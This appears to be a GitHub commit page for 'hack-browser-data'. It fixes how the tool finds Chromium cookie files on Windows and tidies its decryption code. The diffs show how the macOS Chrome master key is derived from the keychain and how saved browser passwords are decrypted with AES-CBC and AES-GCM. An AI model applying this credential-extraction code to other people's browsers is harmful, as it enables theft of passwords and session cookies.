Skip to content

Commit 7fe14c0

Browse files
authored
Merge pull request #162 from moonD4rk/feat/dev
fix: find cookie file failed on windows
2 parents 2863070 + cf4ffec commit 7fe14c0

File tree

7 files changed

+22
-28
lines changed

7 files changed

+22
-28
lines changed

internal/browser/browser.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package browser
33
import (
44
"os"
55
"path/filepath"
6+
"sort"
67
"strings"
78

89
"hack-browser-data/internal/browingdata"
@@ -108,6 +109,7 @@ func ListBrowser() []string {
108109
var l []string
109110
l = append(l, typeutil.Keys(chromiumList)...)
110111
l = append(l, typeutil.Keys(firefoxList)...)
112+
sort.Strings(l)
111113
return l
112114
}
113115

internal/browser/browser_windows.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ var (
9696
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
9797
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
9898
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
99-
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
99+
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
100100
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
101101
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
102102
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"

internal/browser/chromium/chromium.go

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -124,14 +124,17 @@ func chromiumWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item
124124
return func(path string, info fs.FileInfo, err error) error {
125125
for _, v := range items {
126126
if info.Name() == v.FileName() {
127-
parentBaseDir := fileutil.ParentBaseDir(path)
128-
if parentBaseDir == "System Profile" {
127+
if strings.Contains(path, "System Profile") {
129128
continue
130129
}
131-
if _, exist := multiItemPaths[parentBaseDir]; exist {
132-
multiItemPaths[parentBaseDir][v] = path
130+
profileFolder := fileutil.ParentBaseDir(path)
131+
if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
132+
profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
133+
}
134+
if _, exist := multiItemPaths[profileFolder]; exist {
135+
multiItemPaths[profileFolder][v] = path
133136
} else {
134-
multiItemPaths[parentBaseDir] = map[item.Item]string{v: path}
137+
multiItemPaths[profileFolder] = map[item.Item]string{v: path}
135138
}
136139
}
137140
}

internal/browser/chromium/chromium_darwin.go

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ import (
1717
)
1818

1919
var (
20-
ErrWrongSecurityCommand = errors.New("macOS wrong security command")
21-
ErrCouldNotFindInKeychain = errors.New("macOS could not find in keychain")
20+
errWrongSecurityCommand = errors.New("wrong security command")
21+
errCouldNotFindInKeychain = errors.New("could not be find in keychain")
2222
)
2323

2424
func (c *chromium) GetMasterKey() ([]byte, error) {
@@ -39,19 +39,19 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
3939
}
4040
if stderr.Len() > 0 {
4141
if strings.Contains(stderr.String(), "could not be found") {
42-
return nil, ErrCouldNotFindInKeychain
42+
return nil, errCouldNotFindInKeychain
4343
}
4444
return nil, errors.New(stderr.String())
4545
}
4646
chromeSecret := bytes.TrimSpace(stdout.Bytes())
4747
if chromeSecret == nil {
48-
return nil, ErrWrongSecurityCommand
48+
return nil, errWrongSecurityCommand
4949
}
5050
chromeSalt := []byte("saltysalt")
5151
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
5252
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
5353
if key == nil {
54-
return nil, ErrWrongSecurityCommand
54+
return nil, errWrongSecurityCommand
5555
}
5656
c.masterKey = key
5757
log.Infof("%s initialized master key success", c.name)

internal/decrypter/decrypter_darwin.go

Lines changed: 2 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,11 @@
1-
package decrypter
2-
3-
import (
4-
"errors"
5-
)
1+
//go:build darwin
62

7-
var (
8-
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
9-
)
3+
package decrypter
104

115
func Chromium(key, encryptPass []byte) ([]byte, error) {
126
if len(encryptPass) <= 3 {
137
return nil, errPasswordIsEmpty
148
}
15-
if len(key) == 0 {
16-
return nil, errSecurityKeyIsEmpty
17-
}
189

1910
iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
2011
return aes128CBCDecrypt(key, iv, encryptPass[3:])

internal/decrypter/decrypter_linux.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build linux
2+
13
package decrypter
24

35
func Chromium(key, encryptPass []byte) ([]byte, error) {

internal/decrypter/decrypter_windows.go

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build windows
2+
13
package decrypter
24

35
import (
@@ -11,9 +13,6 @@ func Chromium(key, encryptPass []byte) ([]byte, error) {
1113
if len(encryptPass) < 3 {
1214
return nil, errPasswordIsEmpty
1315
}
14-
if len(key) == 0 {
15-
return nil, errSecurityKeyIsEmpty
16-
}
1716

1817
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
1918
}
@@ -22,9 +21,6 @@ func ChromiumForYandex(key, encryptPass []byte) ([]byte, error) {
2221
if len(encryptPass) < 3 {
2322
return nil, errPasswordIsEmpty
2423
}
25-
if len(key) == 0 {
26-
return nil, errSecurityKeyIsEmpty
27-
}
2824
// remove Prefix 'v10'
2925
// gcmBlockSize = 16
3026
// gcmTagSize = 16

0 commit comments

Comments
 (0)